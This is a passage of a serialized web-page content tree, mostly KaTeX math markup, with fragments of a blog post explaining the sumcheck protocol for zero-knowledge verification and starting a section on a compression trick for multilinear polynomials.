1,"children":110703},{"className":110702},[6023,6073],[110704],{"type":28,"value":6026},{"type":22,"tag":118,"props":110706,"children":110708},{"className":110707},[23693,6073],[110709],{"type":28,"value":36080},{"type":22,"tag":118,"props":110711,"children":110713},{"className":110712},[23699],[110714],{"type":28,"value":23702},{"type":22,"tag":118,"props":110716,"children":110718},{"className":110717},[6050],[110719],{"type":22,"tag":118,"props":110720,"children":110722},{"className":110721,"style":23710},[6055],[110723],{"type":22,"tag":118,"props":110724,"children":110725},{},[],{"type":22,"tag":118,"props":110727,"children":110729},{"className":110728,"style":6143},[6104],[],{"type":22,"tag":118,"props":110731,"children":110734},{"className":110732},[110733],"minner",[110735],{"type":28,"value":110736},"⋯",{"type":22,"tag":118,"props":110738,"children":110740},{"className":110739,"style":6143},[6104],[],{"type":22,"tag":118,"props":110742,"children":110744},{"className":110743},[23578],[110745,110750],{"type":22,"tag":118,"props":110746,"children":110748},{"className":110747,"style":23585},[23578,23583,23584],[110749],{"type":28,"value":110438},{"type":22,"tag":118,"props":110751,"children":110753},{"className":110752},[6040],[110754],{"type":22,"tag":118,"props":110755,"children":110757},{"className":110756},[6045,23596],[110758,110874],{"type":22,"tag":118,"props":110759,"children":110761},{"className":110760},[6050],[110762,110869],{"type":22,"tag":118,"props":110763,"children":110765},{"className":110764,"style":23605},[6055],[110766],{"type":22,"tag":118,"props":110767,"children":110768},{"style":23609},[110769,110773],{"type":22,"tag":118,"props":110770,"children":110772},{"className":110771,"style":6065},[6064],[],{"type":22,"tag":118,"props":110774,"children":110776},{"className":110775},[6070,6071,6072,6073],[110777],{"type":22,"tag":118,"props":110778,"children":110780},{"className":110779},[6023,6073],[110781,110839,110844,110849,110854,110859,110864],{"type":22,"tag":118,"props":110782,"children":110784},{"className":110783},[6023,6073],[110785,110790],{"type":22,"tag":118,"props":110786,"children":110788},{"className":110787},[6023,23542,6073],[110789],{"type":28,"value":21243},{"type":22,"tag":118,"props":110791,"children":110793},{"className":110792},[6040],[110794],{"type":22,"tag":118,"props":110795,"children":110797},{"className":110796},[6045,23596],[110798,110828],{"type":22,"tag":118,"props":110799,"children":110801},{"className":110800},[6050],[110802,110823],{"type":22,"tag":118,"props":110803,"children":110806},{"className":110804,"style":110805},[6055],"height:0.1645em;",[110807],{"type":22,"tag":118,"props":110808,"children":110809},{"style":110498},[110810,110814],{"type":22,"tag":118,"props":110811,"children":110813},{"className":110812,"style":110503},[6064],[],{"type":22,"tag":118,"props":110815,"children":110817},{"className":110816},[6070,110508,110509,6073],[110818],{"type":22,"tag":118,"props":110819,"children":110821},{"className":110820},[6023,23542,6073],[110822],{"type":28,"value":58344},{"type":22,"tag":118,"props":110824,"children":110826},{"className":110825},[23699],[110827],{"type":28,"value":23702},{"type":22,"tag":118,"props":110829,"children":110831},{"className":110830},[6050],[110832],{"type":22,"tag":118,"props":110833,"children":110835},{"className":110834,"style":110528},[6055],[110836],{"type":22,"tag":118,"props":110837,"children":110838},{},[],{"type":22,"tag":118,"props":110840,"children":110842},{"className":110841},[6207,6073],[110843],{"type":28,"value":23649},{"type":22,"tag":118,"props":110845,"children":110847},{"className":110846},[23671,6073],[110848],{"type":28,"value":78214},{"type":22,"tag":118,"props":110850,"children":110852},{"className":110851},[6023,6073],[110853],{"type":28,"value":6036},{"type":22,"tag":118,"props":110855,"children":110857},{"className":110856},[6136,6073],[110858],{"type":28,"value":6139},{"type":22,"tag":118,"props":110860,"children":110862},{"className":110861},[6023,6073],[110863],{"type":28,"value":6026},{"type":22,"tag":118,"props":110865,"children":110867},{"className":110866},[23693,6073],[110868],{"type":28,"value":36080},{"type":22,"tag":118,"props":110870,"children":110872},{"className":110871},[23699],[110873],{"type":28,"value":23702},{"type":22,"tag":118,"props":110875,"children":110877},{"className":110876},[6050],[110878],{"type":22,"tag":118,"props":110879,"children":110881},{"className":110880,"style":23710},[6055],[110882],{"type":22,"tag":118,"props":110883,"children":110884},{},[],{"type":22,"tag":118,"props":110886,"children":110888},{"className":110887,"style":6143},[6104],[],{"type":22,"tag":118,"props":110890,"children":110892},{"className":110891,"style":95129},[6023,23542],[110893],{"type":28,"value":110894},"g",{"type":22,"tag":118,"props":110896,"children":110898},{"className":110897},[23671],[110899],{"type":28,"value":540},{"type":22,"tag":118,"props":110901,"children":110903},{"className":110902},[6023],[110904,110909],{"type":22,"tag":118,"props":110905,"children":110907},{"className":110906},[6023,23542],[110908],{"type":28,"value":21243},{"type":22,"tag":118,"props":110910,"children":110912},{"className":110911},[6040],[110913],{"type":22,"tag":118,"props":110914,"children":110916},{"className":110915},[6045,23596],[110917,110946],{"type":22,"tag":118,"props":110918,"children":110920},{"className":110919},[6050],[110921,110941],{"type":22,"tag":118,"props":110922,"children":110924},{"className":110923,"style":94695},[6055],[110925],{"type":22,"tag":118,"props":110926,"children":110927},{"style":94699},[110928,110932],{"type":22,"tag":118,"props":110929,"children":110931},{"className":110930,"style":6065},[6064],[],{"type":22,"tag":118,"props":110933,"children":110935},{"className":110934},[6070,6071,6072,6073],[110936],{"type":22,"tag":118,"props":110937,"children":110939},{"className":110938},[6023,6073],[110940],{"type":28,"value":6026},{"type":22,"tag":118,"props":110942,"children":110944},{"className":110943},[23699],[110945],{"type":28,"value":23702},{"type":22,"tag":118,"props":110947,"children":110949},{"className":110948},[6050],[110950],{"type":22,"tag":118,"props":110951,"children":110953},{"className":110952,"style":94726},[6055],[110954],{"type":22,"tag":118,"props":110955,"children":110956},{},[],{"type":22,"tag":118,"props":110958,"children":110960},{"className":110959},[6136],[110961],{"type":28,"value":6139},{"type":22,"tag":118,"props":110963,"children":110965},{"className":110964,"style":6143},[6104],[],{"type":22,"tag":118,"props":110967,"children":110969},{"className":110968},[6023],[110970,110975],{"type":22,"tag":118,"props":110971,"children":110973},{"className":110972},[6023,23542],[110974],{"type":28,"value":21243},{"type":22,"tag":118,"props":110976,"children":110978},{"className":110977},[6040],[110979],{"type":22,"tag":118,"props":110980,"children":110982},{"className":110981},[6045,23596],[110983,111012],{"type":22,"tag":118,"props":110984,"children":110986},{"className":110985},[6050],[110987,111007],{"type":22,"tag":118,"props":110988,"children":110990},{"className":110989,"style":94695},[6055],[110991],{"type":22,"tag":118,"props":110992,"children":110993},{"style":94699},[110994,110998],{"type":22,"tag":118,"props":110995,"children":110997},{"className":110996,"style":6065},[6064],[],{"type":22,"tag":118,"props":110999,"children":111001},{"className":111000},[6070,6071,6072,6073],[111002],{"type":22,"tag":118,"props":111003,"children":111005},{"className":111004},[6023,6073],[111006],{"type":28,"value":5147},{"type":22,"tag":118,"props":111008,"children":111010},{"className":111009},[23699],[111011],{"type":28,"value":23702},{"type":22,"tag":118,"props":111013,"children":111015},{"className":111014},[6050],[111016],{"type":22,"tag":118,"props":111017,"children":111019},{"className":111018,"style":94726},[6055],[111020],{"type":22,"tag":118,"props":111021,"children":111022},{},[],{"type":22,"tag":118,"props":111024,"children":111026},{"className":111025},[6136],[111027],{"type":28,"value":6139},{"type":22,"tag":118,"props":111029,"children":111031},{"className":111030,"style":6143},[6104],[],{"type":22,"tag":118,"props":111033,"children":111035},{"className":111034},[110733],[111036],{"type":28,"value":111037},"…",{"type":22,"tag":118,"props":111039,"children":111041},{"className":111040,"style":6143},[6104],[],{"type":22,"tag":118,"props":111043,"children":111045},{"className":111044},[6136],[111046],{"type":28,"value":6139},{"type":22,"tag":118,"props":111048,"children":111050},{"className":111049,"style":6143},[6104],[],{"type":22,"tag":118,"props":111052,"children":111054},{"className":111053},[6023],[111055,111060],{"type":22,"tag":118,"props":111056,"children":111058},{"className":111057},[6023,23542],[111059],{"type":28,"value":21243},{"type":22,"tag":118,"props":111061,"children":111063},{"className":111062},[6040],[111064],{"type":22,"tag":118,"props":111065,"children":111067},{"className":111066},[6045,23596],[111068,111098],{"type":22,"tag":118,"props":111069,"children":111071},{"className":111070},[6050],[111072,111093],{"type":22,"tag":118,"props":111073,"children":111076},{"className":111074,"style":111075},[6055],"height:0.1514em;",[111077],{"type":22,"tag":118,"props":111078,"children":111079},{"style":94699},[111080,111084],{"type":22,"tag":118,"props":111081,"children":111083},{"className":111082,"style":6065},[6064],[],{"type":22,"tag":118,"props":111085,"children":111087},{"className":111086},[6070,6071,6072,6073],[111088],{"type":22,"tag":118,"props":111089,"children":111091},{"className":111090},[6023,23542,6073],[111092],{"type":28,"value":58344},{"type":22,"tag":118,"props":111094,"children":111096},{"className":111095},[23699],[111097],{"type":28,"value":23702},{"type":22,"tag":118,"props":111099,"children":111101},{"className":111100},[6050],[111102],{"type":22,"tag":118,"props":111103,"children":111105},{"className":111104,"style":94726},[6055],[111106],{"type":22,"tag":118,"props":111107,"children":111108},{},[],{"type":22,"tag":118,"props":111110,"children":111112},{"className":111111},[23693],[111113],{"type":28,"value":3627},{"type":22,"tag":31,"props":111115,"children":111116},{},[111117,111119,111180],{"type":28,"value":111118},"The naive approach would be for the verifier to compute all ",{"type":22,"tag":114,"props":111120,"children":111122},{"className":111121},[5995,5996],[111123],{"type":22,"tag":118,"props":111124,"children":111126},{"className":111125},[6001],[111127],{"type":22,"tag":118,"props":111128,"children":111130},{"className":111129,"ariaHidden":6007},[6006],[111131],{"type":22,"tag":118,"props":111132,"children":111134},{"className":111133},[6012],[111135,111139],{"type":22,"tag":118,"props":111136,"children":111138},{"className":111137,"style":110360},[6017],[],{"type":22,"tag":118,"props":111140,"children":111142},{"className":111141},[6023],[111143,111148],{"type":22,"tag":118,"props":111144,"children":111146},{"className":111145},[6023],[111147],{"type":28,"value":5147},{"type":22,"tag":118,"props":111149,"children":111151},{"className":111150},[6040],[111152],{"type":22,"tag":118,"props":111153,"children":111155},{"className":111154},[6045],[111156],{"type":22,"tag":118,"props":111157,"children":111159},{"className":111158},[6050],[111160],{"type":22,"tag":118,"props":111161,"children":111163},{"className":111162,"style":110360},[6055],[111164],{"type":22,"tag":118,"props":111165,"children":111166},{"style":6059},[111167,111171],{"type":22,"tag":118,"props":111168,"children":111170},{"className":111169,"style":6065},[6064],[],{"type":22,"tag":118,"props":111172,"children":111174},{"className":111173},[6070,6071,6072,6073],[111175],{"type":22,"tag":118,"props":111176,"children":111178},{"className":111177},[6023,23542,6073],[111179],{"type":28,"value":58344},{"type":28,"value":111181}," evaluations. This is exponentially expensive.",{"type":22,"tag":31,"props":111183,"children":111184},{},[111185,111187,111192],{"type":28,"value":111186},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":22,"tag":74,"props":111188,"children":111189},{},[111190],{"type":28,"value":111191},"only one",{"type":28,"value":292},{"type":22,"tag":31,"props":111194,"children":111195},{},[111196],{"type":22,"tag":5928,"props":111197,"children":111200},{"alt":111198,"src":111199},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":22,"tag":31,"props":111202,"children":111203},{},[111204,111206,111298,111300,111485,111487,111512,111514,111592,111594,111673],{"type":28,"value":111205},"In each round, the prover must send a polynomial ",{"type":22,"tag":114,"props":111207,"children":111209},{"className":111208},[5995,5996],[111210],{"type":22,"tag":118,"props":111211,"children":111213},{"className":111212},[6001],[111214],{"type":22,"tag":118,"props":111215,"children":111217},{"className":111216,"ariaHidden":6007},[6006],[111218],{"type":22,"tag":118,"props":111219,"children":111221},{"className":111220},[6012],[111222,111226,111283,111288,111293],{"type":22,"tag":118,"props":111223,"children":111225},{"className":111224,"style":6125},[6017],[],{"type":22,"tag":118,"props":111227,"children":111229},{"className":111228},[6023],[111230,111235],{"type":22,"tag":118,"props":111231,"children":111233},{"className":111232,"style":95129},[6023,23542],[111234],{"type":28,"value":110894},{"type":22,"tag":118,"props":111236,"children":111238},{"className":111237},[6040],[111239],{"type":22,"tag":118,"props":111240,"children":111242},{"className":111241},[6045,23596],[111243,111272],{"type":22,"tag":118,"props":111244,"children":111246},{"className":111245},[6050],[111247,111267],{"type":22,"tag":118,"props":111248,"children":111250},{"className":111249,"style":95172},[6055],[111251],{"type":22,"tag":118,"props":111252,"children":111253},{"style":95176},[111254,111258],{"type":22,"tag":118,"props":111255,"children":111257},{"className":111256,"style":6065},[6064],[],{"type":22,"tag":118,"props":111259,"children":111261},{"className":111260},[6070,6071,6072,6073],[111262],{"type":22,"tag":118,"props":111263,"children":111265},{"className":111264},[6023,23542,6073],[111266],{"type":28,"value":3613},{"type":22,"tag":118,"props":111268,"children":111270},{"className":111269},[23699],[111271],{"type":28,"value":23702},{"type":22,"tag":118,"props":111273,"children":111275},{"className":111274},[6050],[111276],{"type":22,"tag":118,"props":111277,"children":111279},{"className":111278,"style":94726},[6055],[111280],{"type":22,"tag":118,"props":111281,"children":111282},{},[],{"type":22,"tag":118,"props":111284,"children":111286},{"className":111285},[23671],[111287],{"type":28,"value":540},{"type":22,"tag":118,"props":111289,"children":111291},{"className":111290,"style":96663},[6023,23542],[111292],{"type":28,"value":8143},{"type":22,"tag":118,"props":111294,"children":111296},{"className":111295},[23693],[111297],{"type":28,"value":3627},{"type":28,"value":111299}," such that ",{"type":22,"tag":114,"props":111301,"children":111303},{"className":111302},[5995,5996],[111304],{"type":22,"tag":118,"props":111305,"children":111307},{"className":111306},[6001],[111308],{"type":22,"tag":118,"props":111309,"children":111311},{"className":111310,"ariaHidden":6007},[6006],[111312,111405],{"type":22,"tag":118,"props":111313,"children":111315},{"className":111314},[6012],[111316,111320,111377,111382,111387,111392,111396,111401],{"type":22,"tag":118,"props":111317,"children":111319},{"className":111318,"style":6125},[6017],[],{"type":22,"tag":118,"props":111321,"children":111323},{"className":111322},[6023],[111324,111329],{"type":22,"tag":118,"props":111325,"children":111327},{"className":111326,"style":95129},[6023,23542],[111328],{"type":28,"value":110894},{"type":22,"tag":118,"props":111330,"children":111332},{"className":111331},[6040],[111333],{"type":22,"tag":118,"props":111334,"children":111336},{"className":111335},[6045,23596],[111337,111366],{"type":22,"tag":118,"props":111338,"children":111340},{"className":111339},[6050],[111341,111361],{"type":22,"tag":118,"props":111342,"children":111344},{"className":111343,"style":95172},[6055],[111345],{"type":22,"tag":118,"props":111346,"children":111347},{"style":95176},[111348,111352],{"type":22,"tag":118,"props":111349,"children":111351},{"className":111350,"style":6065},[6064],[],{"type":22,"tag":118,"props":111353,"children":111355},{"className":111354},[6070,6071,6072,6073],[111356],{"type":22,"tag":118,"props":111357,"children":111359},{"className":111358},[6023,23542,6073],[111360],{"type":28,"value":3613},{"type":22,"tag":118,"props":111362,"children":111364},{"className":111363},[23699],[111365],{"type":28,"value":23702},{"type":22,"tag":118,"props":111367,"children":111369},{"className":111368},[6050],[111370],{"type":22,"tag":118,"props":111371,"children":111373},{"className":111372,"style":94726},[6055],[111374],{"type":22,"tag":118,"props":111375,"children":111376},{},[],{"type":22,"tag":118,"props":111378,"children":111380},{"className":111379},[23671],[111381],{"type":28,"value":540},{"type":22,"tag":118,"props":111383,"children":111385},{"className":111384},[6023],[111386],{"type":28,"value":6036},{"type":22,"tag":118,"props":111388,"children":111390},{"className":111389},[23693],[111391],{"type":28,"value":3627},{"type":22,"tag":118,"props":111393,"children":111395},{"className":111394,"style":6105},[6104],[],{"type":22,"tag":118,"props":111397,"children":111399},{"className":111398},[6110],[111400],{"type":28,"value":3220},{"type":22,"tag":118,"props":111402,"children":111404},{"className":111403,"style":6105},[6104],[],{"type":22,"tag":118,"props":111406,"children":111408},{"className":111407},[6012],[111409,111413,111470,111475,111480],{"type":22,"tag":118,"props":111410,"children":111412},{"className":111411,"style":6125},[6017],[],{"type":22,"tag":118,"props":111414,"children":111416},{"className":111415},[6023],[111417,111422],{"type":22,"tag":118,"props":111418,"children":111420},{"className":111419,"style":95129},[6023,23542],[111421],{"type":28,"value":110894},{"type":22,"tag":118,"props":111423,"children":111425},{"className":111424},[6040],[111426],{"type":22,"tag":118,"props":111427,"children":111429},{"className":111428},[6045,23596],[111430,111459],{"type":22,"tag":118,"props":111431,"children":111433},{"className":111432},[6050],[111434,111454],{"type":22,"tag":118,"props":111435,"children":111437},{"className":111436,"style":95172},[6055],[111438],{"type":22,"tag":118,"props":111439,"children":111440},{"style":95176},[111441,111445],{"type":22,"tag":118,"props":111442,"children":111444},{"className":111443,"style":6065},[6064],[],{"type":22,"tag":118,"props":111446,"children":111448},{"className":111447},[6070,6071,6072,6073],[111449],{"type":22,"tag":118,"props":111450,"children":111452},{"className":111451},[6023,23542,6073],[111453],{"type":28,"value":3613},{"type":22,"tag":118,"props":111455,"children":111457},{"className":111456},[23699],[111458],{"type":28,"value":23702},{"type":22,"tag":118,"props":111460,"children":111462},{"className":111461},[6050],[111463],{"type":22,"tag":118,"props":111464,"children":111466},{"className":111465,"style":94726},[6055],[111467],{"type":22,"tag":118,"props":111468,"children":111469},{},[],{"type":22,"tag":118,"props":111471,"children":111473},{"className":111472},[23671],[111474],{"type":28,"value":540},{"type":22,"tag":118,"props":111476,"children":111478},{"className":111477},[6023],[111479],{"type":28,"value":6026},{"type":22,"tag":118,"props":111481,"children":111483},{"className":111482},[23693],[111484],{"type":28,"value":3627},{"type":28,"value":111486}," equals the previous claim. If the prover is lying about the original sum ",{"type":22,"tag":114,"props":111488,"children":111490},{"className":111489},[5995,5996],[111491],{"type":22,"tag":118,"props":111492,"children":111494},{"className":111493},[6001],[111495],{"type":22,"tag":118,"props":111496,"children":111498},{"className":111497,"ariaHidden":6007},[6006],[111499],{"type":22,"tag":118,"props":111500,"children":111502},{"className":111501},[6012],[111503,111507],{"type":22,"tag":118,"props":111504,"children":111506},{"className":111505,"style":23537},[6017],[],{"type":22,"tag":118,"props":111508,"children":111510},{"className":111509,"style":94877},[6023,23542],[111511],{"type":28,"value":94880},{"type":28,"value":111513},", then they must lie about ",{"type":22,"tag":114,"props":111515,"children":111517},{"className":111516},[5995,5996],[111518],{"type":22,"tag":118,"props":111519,"children":111521},{"className":111520},[6001],[111522],{"type":22,"tag":118,"props":111523,"children":111525},{"className":111524,"ariaHidden":6007},[6006],[111526],{"type":22,"tag":118,"props":111527,"children":111529},{"className":111528},[6012],[111530,111535],{"type":22,"tag":118,"props":111531,"children":111534},{"className":111532,"style":111533},[6017],"height:0.625em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":111536,"children":111538},{"className":111537},[6023],[111539,111544],{"type":22,"tag":118,"props":111540,"children":111542},{"className":111541,"style":95129},[6023,23542],[111543],{"type":28,"value":110894},{"type":22,"tag":118,"props":111545,"children":111547},{"className":111546},[6040],[111548],{"type":22,"tag":118,"props":111549,"children":111551},{"className":111550},[6045,23596],[111552,111581],{"type":22,"tag":118,"props":111553,"children":111555},{"className":111554},[6050],[111556,111576],{"type":22,"tag":118,"props":111557,"children":111559},{"className":111558,"style":95172},[6055],[111560],{"type":22,"tag":118,"props":111561,"children":111562},{"style":95176},[111563,111567],{"type":22,"tag":118,"props":111564,"children":111566},{"className":111565,"style":6065},[6064],[],{"type":22,"tag":118,"props":111568,"children":111570},{"className":111569},[6070,6071,6072,6073],[111571],{"type":22,"tag":118,"props":111572,"children":111574},{"className":111573},[6023,23542,6073],[111575],{"type":28,"value":3613},{"type":22,"tag":118,"props":111577,"children":111579},{"className":111578},[23699],[111580],{"type":28,"value":23702},{"type":22,"tag":118,"props":111582,"children":111584},{"className":111583},[6050],[111585],{"type":22,"tag":118,"props":111586,"children":111588},{"className":111587,"style":94726},[6055],[111589],{"type":22,"tag":118,"props":111590,"children":111591},{},[],{"type":28,"value":111593}," somewhere. But since the verifier picks a random ",{"type":22,"tag":114,"props":111595,"children":111597},{"className":111596},[5995,5996],[111598],{"type":22,"tag":118,"props":111599,"children":111601},{"className":111600},[6001],[111602],{"type":22,"tag":118,"props":111603,"children":111605},{"className":111604,"ariaHidden":6007},[6006],[111606],{"type":22,"tag":118,"props":111607,"children":111609},{"className":111608},[6012],[111610,111615],{"type":22,"tag":118,"props":111611,"children":111614},{"className":111612,"style":111613},[6017],"height:0.5806em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":111616,"children":111618},{"className":111617},[6023],[111619,111624],{"type":22,"tag":118,"props":111620,"children":111622},{"className":111621,"style":94643},[6023,23542],[111623],{"type":28,"value":95462},{"type":22,"tag":118,"props":111625,"children":111627},{"className":111626},[6040],[111628],{"type":22,"tag":118,"props":111629,"children":111631},{"className":111630},[6045,23596],[111632,111662],{"type":22,"tag":118,"props":111633,"children":111635},{"className":111634},[6050],[111636,111657],{"type":22,"tag":118,"props":111637,"children":111639},{"className":111638,"style":95172},[6055],[111640],{"type":22,"tag":118,"props":111641,"children":111643},{"style":111642},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111644,111648],{"type":22,"tag":118,"props":111645,"children":111647},{"className":111646,"style":6065},[6064],[],{"type":22,"tag":118,"props":111649,"children":111651},{"className":111650},[6070,6071,6072,6073],[111652],{"type":22,"tag":118,"props":111653,"children":111655},{"className":111654},[6023,23542,6073],[111656],{"type":28,"value":3613},{"type":22,"tag":118,"props":111658,"children":111660},{"className":111659},[23699],[111661],{"type":28,"value":23702},{"type":22,"tag":118,"props":111663,"children":111665},{"className":111664},[6050],[111666],{"type":22,"tag":118,"props":111667,"children":111669},{"className":111668,"style":94726},[6055],[111670],{"type":22,"tag":118,"props":111671,"children":111672},{},[],{"type":28,"value":111674},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":22,"tag":1899,"props":111676,"children":111678},{"id":111677},"the-compression-trick",[111679],{"type":28,"value":111680},"The Compression Trick",{"type":22,"tag":31,"props":111682,"children":111683},{},[111684,111686,111836,111838,112118],{"type":28,"value":111685},"For degree-1 (multilinear) polynomials, ",{"type":22,"tag":114,"props":111687,"children":111689},{"className":111688},[5995,5996],[111690],{"type":22,"tag":118,"props":111691,"children":111693},{"className":111692},[6001],[111694],{"type":22,"tag":118,"props":111695,"children":111697},{"className":111696,"ariaHidden":6007},[6006],[111698,111791,111818],{"type":22,"tag":118,"props":111699,"children":111701},{"className":111700},[6012],[111702,111706,111763,111768,111773,111778,111782,111787],{"type":22,"tag":118,"props":111703,"children":111705},{"className":111704,"style":6125},[6017],[],{"type":22,"tag":118,"props":111707,"children":111709},{"className":111708},[6023],[111710,111715],{"type":22,"tag":118,"props":111711,"children":111713},{"className":111712,"style":95129},[6023,23542],[111714],{"type":28,"value":110894},{"type":22,"tag":118,"props":111716,"children":111718},{"className":111717},[6040],[111719],{"type":22,"tag":118,"props":111720,"children":111722},{"className":111721},[6045,23596],[111723,111752],{"type":22,"tag":118,"props":111724,"children":111726},{"className":111725},[6050],[111727,111747],{"type":22,"tag":118,"props":111728,"children":111730},{"className":111729,"style":95172},[6055],[111731],{"type":22,"tag":118,"props":111732,"children":111733},{"style":95176},[111734,111738],{"type":22,"tag":118,"props":111735,"children":111737},{"className":111736,"style":6065},[6064],[],{"type":22,"tag":118,"props":111739,"children":111741},{"className":111740},[6070,6071,6072,6073],[111742],{"type":22,"tag":118,"props":111743,"children":111745},{"className":111744},[6023,23542,6073],[111746],{"type":28,"value":3613},{"type":22,"tag":118,"props":111748,"children":111750},{"className":111749},[23699],[111751],{"type":28,"value":23702},{"type":22,"tag":118,"props":111753,"children":111755},{"className":111754},[6050],[111756],{"type":22,"tag":118,"props":111757,"children":111759},{"className":111758,"style":94726},[6055],[111760],{"type":22,"tag":118,"props":111761,"children":111762},{},[],{"type":22,"tag":118,"props":111764,"children":111766},{"className":111765},[23671],[111767],{"type":28,"value":540},{"type":22,"tag":118,"props":111769,"children":111771},{"className":111770,"style":96663},[6023,23542],[111772],{"type":28,"value":8143},{"type":22,"tag":118,"props":111774,"children":111776},{"className":111775},[23693],[111777],{"type":28,"value":3627},{"type":22,"tag":118,"props":111779,"children":111781},{"className":111780,"style":6202},[6104],[],{"type":22,"tag":118,"props":111783,"children":111785},{"className":111784},[6207],[111786],{"type":28,"value":282},{"type":22,"tag":118,"props":111788,"children":111790},{"className":111789,"style":6202},[6104],[],{"type":22,"tag":118,"props":111792,"children":111794},{"className":111793},[6012],[111795,111800,111805,111809,111814],{"type":22,"tag":118,"props":111796,"children":111799},{"className":111797,"style":111798},[6017],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":111801,"children":111803},{"className":111802},[6023,23542],[111804],{"type":28,"value":42},{"type":22,"tag":118,"props":111806,"children":111808},{"className":111807,"style":6105},[6104],[],{"type":22,"tag":118,"props":111810,"children":111812},{"className":111811},[6110],[111813],{"type":28,"value":3220},{"type":22,"tag":118,"props":111815,"children":111817},{"className":111816,"style":6105},[6104],[],{"type":22,"tag":118,"props":111819,"children":111821},{"className":111820},[6012],[111822,111826,111831],{"type":22,"tag":118,"props":111823,"children":111825},{"className":111824,"style":94558},[6017],[],{"type":22,"tag":118,"props":111827,"children":111829},{"className":111828},[6023,23542],[111830],{"type":28,"value":5243},{"type":22,"tag":118,"props":111832,"children":111834},{"className":111833,"style":96663},[6023,23542],[111835],{"type":28,"value":8143},{"type":28,"value":111837}," has only two coefficients. Since the verifier knows ",{"type":22,"tag":114,"props":111839,"children":111841},{"className":111840},[5995,5996],[111842],{"type":22,"tag":118,"props":111843,"children":111845},{"className":111844},[6001],[111846],{"type":22,"tag":118,"props":111847,"children":111849},{"className":111848,"ariaHidden":6007},[6006],[111850,111943,112036],{"type":22,"tag":118,"props":111851,"children":111853},{"className":111852},[6012],[111854,111858,111915,111920,111925,111930,111934,111939],{"type":22,"tag":118,"props":111855,"children":111857},{"className":111856,"style":6125},[6017],[],{"type":22,"tag":118,"props":111859,"children":111861},{"className":111860},[6023],[111862,111867],{"type":22,"tag":118,"props":111863,"children":111865},{"className":111864,"style":95129},[6023,23542],[111866],{"type":28,"value":110894},{"type":22,"tag":118,"props":111868,"children":111870},{"className":111869},[6040],[111871],{"type":22,"tag":118,"props":111872,"children":111874},{"className":111873},[6045,23596],[111875,111904],{"type":22,"tag":118,"props":111876,"children":111878},{"className":111877},[6050],[111879,111899],{"type":22,"tag":118,"props":111880,"children":111882},{"className":111881,"style":95172},[6055],[111883],{"type":22,"tag":118,"props":111884,"children":111885},{"style":95176},[111886,111890],{"type":22,"tag":118,"props":111887,"children":111889},{"className":111888,"style":6065},[6064],[],{"type":22,"tag":118,"props":111891,"children":111893},{"className":111892},[6070,6071,6072,6073],[111894],{"type":22,"tag":118,"props":111895,"children":111897},{"className":111896},[6023,23542,6073],[111898],{"type":28,"value":3613},{"type":22,"tag":118,"props":111900,"children":111902},{"className":111901},[23699],[111903],{"type":28,"value":23702},{"type":22,"tag":118,"props":111905,"children":111907},{"className":111906},[6050],[111908],{"type":22,"tag":118,"props":111909,"children":111911},{"className":111910,"style":94726},[6055],[111912],{"type":22,"tag":118,"props":111913,"children":111914},{},[],{"type":22,"tag":118,"props":111916,"children":111918},{"className":111917},[23671],[111919],{"type":28,"value":540},{"type":22,"tag":118,"props":111921,"children":111923},{"className":111922},[6023],[111924],{"type":28,"value":6036},{"type":22,"tag":118,"props":111926,"children":111928},{"className":111927},[23693],[111929],{"type":28,"value":3627},{"type":22,"tag":118,"props":111931,"children":111933},{"className":111932,"style":6105},[6104],[],{"type":22,"tag":118,"props":111935,"children":111937},{"className":111936},[6110],[111938],{"type":28,"value":3220},{"type":22,"tag":118,"props":111940,"children":111942},{"className":111941,"style":6105},[6104],[],{"type":22,"tag":118,"props":111944,"children":111946},{"className":111945},[6012],[111947,111951,112008,112013,112018,112023,112027,112032],{"type":22,"tag":118,"props":111948,"children":111950},{"className":111949,"style":6125},[6017],[],{"type":22,"tag":118,"props":111952,"children":111954},{"className":111953},[6023],[111955,111960],{"type":22,"tag":118,"props":111956,"children":111958},{"className":111957,"style":95129},[6023,23542],[111959],{"type":28,"value":110894},{"type":22,"tag":118,"props":111961,"children":111963},{"className":111962},[6040],[111964],{"type":22,"tag":118,"props":111965,"children":111967},{"className":111966},[6045,23596],[111968,111997],{"type":22,"tag":118,"props":111969,"children":111971},{"className":111970},[6050],[111972,111992],{"type":22,"tag":118,"props":111973,"children":111975},{"className":111974,"style":95172},[6055],[111976],{"type":22,"tag":118,"props":111977,"children":111978},{"style":95176},[111979,111983],{"type":22,"tag":118,"props":111980,"children":111982},{"className":111981,"style":6065},[6064],[],{"type":22,"tag":118,"props":111984,"children":111986},{"className":111985},[6070,6071,6072,6073],[111987],{"type":22,"tag":118,"props":111988,"children":111990},{"className":111989},[6023,23542,6073],[111991],{"type":28,"value":3613},{"type":22,"tag":118,"props":111993,"children":111995},{"className":111994},[23699],[111996],{"type":28,"value":23702},{"type":22,"tag":118,"props":111998,"children":112000},{"className":111999},[6050],[112001],{"type":22,"tag":118,"props":112002,"children":112004},{"className":112003,"style":94726},[6055],[112005],{"type":22,"tag":118,"props":112006,"children":112007},{},[],{"type":22,"tag":118,"props":112009,"children":112011},{"className":112010},[23671],[112012],{"type":28,"value":540},{"type":22,"tag":118,"props":112014,"children":112016},{"className":112015},[6023],[112017],{"type":28,"value":6026},{"type":22,"tag":118,"props":112019,"children":112021},{"className":112020},[23693],[112022],{"type":28,"value":3627},{"type":22,"tag":118,"props":112024,"children":112026},{"className":112025,"style":6202},[6104],[],{"type":22,"tag":118,"props":112028,"children":112030},{"className":112029},[6207],[112031],{"type":28,"value":282},{"type":22,"tag":118,"props":112033,"children":112035},{"className":112034,"style":6202},[6104],[],{"type":22,"tag":118,"props":112037,"children":112039},{"className":112038},[6012],[112040,112045],{"type":22,"tag":118,"props":112041,"children":112044},{"className":112042,"style":112043},[6017],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":22,"tag":118,"props":112046,"children":112048},{"className":112047},[6023],[112049,112054],{"type":22,"tag":118,"props":112050,"children":112052},{"className":112051,"style":94877},[6023,23542],[112053],{"type":28,"value":94880},{"type":22,"tag":118,"props":112055,"children":112057},{"className":112056},[6040],[112058],{"type":22,"tag":118,"props":112059,"children":1120